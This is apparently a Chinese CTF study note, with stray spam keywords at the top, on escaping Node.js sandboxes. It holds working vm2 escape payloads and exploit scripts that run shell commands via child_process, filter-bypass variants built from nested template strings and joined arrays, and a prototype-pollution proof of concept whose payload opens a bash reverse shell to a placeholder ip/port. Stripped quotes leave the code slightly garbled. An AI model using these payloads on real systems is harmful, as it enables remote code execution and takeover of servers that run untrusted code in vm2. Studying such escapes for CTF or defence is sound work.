网站服务费做管理费用,广东网站建设微信官网开发,怎么自己做优惠券网站,深圳苍松大厦 网站建设Buffer
在较早一点的node.js版本中 (8.0 之前)#xff0c;当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer#xff0c;并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。 注#xff1a;关…Buffer
在较早一点的node.js版本中 (8.0 之前)当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。 注关于 BufferJavaScript 语言自身只有字符串数据类型没有二进制数据类型。但在处理像TCP流或文件流时必须使用到二进制数据。因此在 Node.js中定义了一个 Buffer 类该类用来创建一个专门存放二进制数据的缓存区。只要是调用过的变量一定会存在内存中所以可以使用Buffer()来读取内存获取之前调用过的变了数据比如flag
例题
[[24-3.24-wp#[HITCON 2016]Leaking]]
vm
参考文章
vm2
vm2的版本一直都在更新迭代。github上许多历史版本的逃逸exp。链接Issues · patriksimek/vm2 · GitHub
payload
payload1
(function(){TypeError.prototype.get_process ff.constructor(return process)();try{Object.preventExtensions(Buffer.from()).a 1;}catch(e){return e.get_process((){}).mainModule.require(child_process).execSync(cat /flag).toString();}
})()payload2
(function(){try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw ff.constructor(return process)();}}));}catch(e){return e((){}).mainModule.require(child_process).execSync(whoami).toString();}
})()exp
exp1
use strict;
const {VM} require(vm2);
const untrusted ( function(){TypeError.prototype.get_process ff.constructor(return process)();try{Object.preventExtensions(Buffer.from()).a 1;}catch(e){return e.get_process((){}).mainModule.require(child_process).execSync(whoami).toString();}
})();
try{console.log(new VM().run(untrusted));
}catch(x){console.log(x);
}exp2
use strict;
const {VM} require(vm2);
const untrusted ( function(){try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw ff.constructor(return process)();}}));}catch(e){return e((){}).mainModule.require(child_process).execSync(whoami).toString();}
})();
try{console.log(new VM().run(untrusted));
}catch(x){console.log(x);
}
绕过
来源[HFCTF2020]JustEscape
NodeJS模板字符串
例如
console.log(prototype) //prototype
console.log(${prototyp}e) //prototype
console.log(${${prototyp}e}) //prototype通过这种嵌套的方式绕过字符串过滤 payload1
(function (){TypeError[${${prototyp}e}][${${get_pro}cess}] ff[${${constructo}r}](${${return proc}ess})();try{Object.preventExtensions(Buffer.from()).a 1;}catch(e){return e[${${get_pro}cess}]((){}).mainModule[${${requir}e}](${${child_proces}s})[${${exe}cSync}](cat /flag).toString();}
})()join拼接字符串
payload2
((){ TypeError[[p,r,o,t,o,t,y,p,e][join]()][a] ff[[c,o,n,s,t,r,u,c,t,o,r][join]()]([r,e,t,u,r,n, ,p,r,o,c,e,s,s][join]())(); try{ Object[preventExtensions](Buffer[from]())[a] 1; }catch(e){ return e[a]((){})[mainModule][[r,e,q,u,i,r,e][join]()]([c,h,i,l,d,_,p,r,o,c,e,s,s][join]())[[e,x,e,c,S,y,n,c][join]()](cat /flag)[toString](); } })()数组
当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制
vm2 原型链污染导致沙箱逃逸
[HZNUCTF 2023 final]eznode poc
let res import(./app.js)
res.toString.constructor(return this)().process.mainModule.require(child_process).execSync(whoami).toString();{shit:shit,__proto__:{shellcode:let res import(./app.js); res.toString.constructor(\return this\) ().process.mainModule.require(\child_process\).execSync(bash -c \bash -i /dev/tcp/ip/port 01\).toString();}
}
参考
https://blog.csdn.net/qq_61839115/article/details/132120985 https://xz.aliyun.com/t/11859#toc-0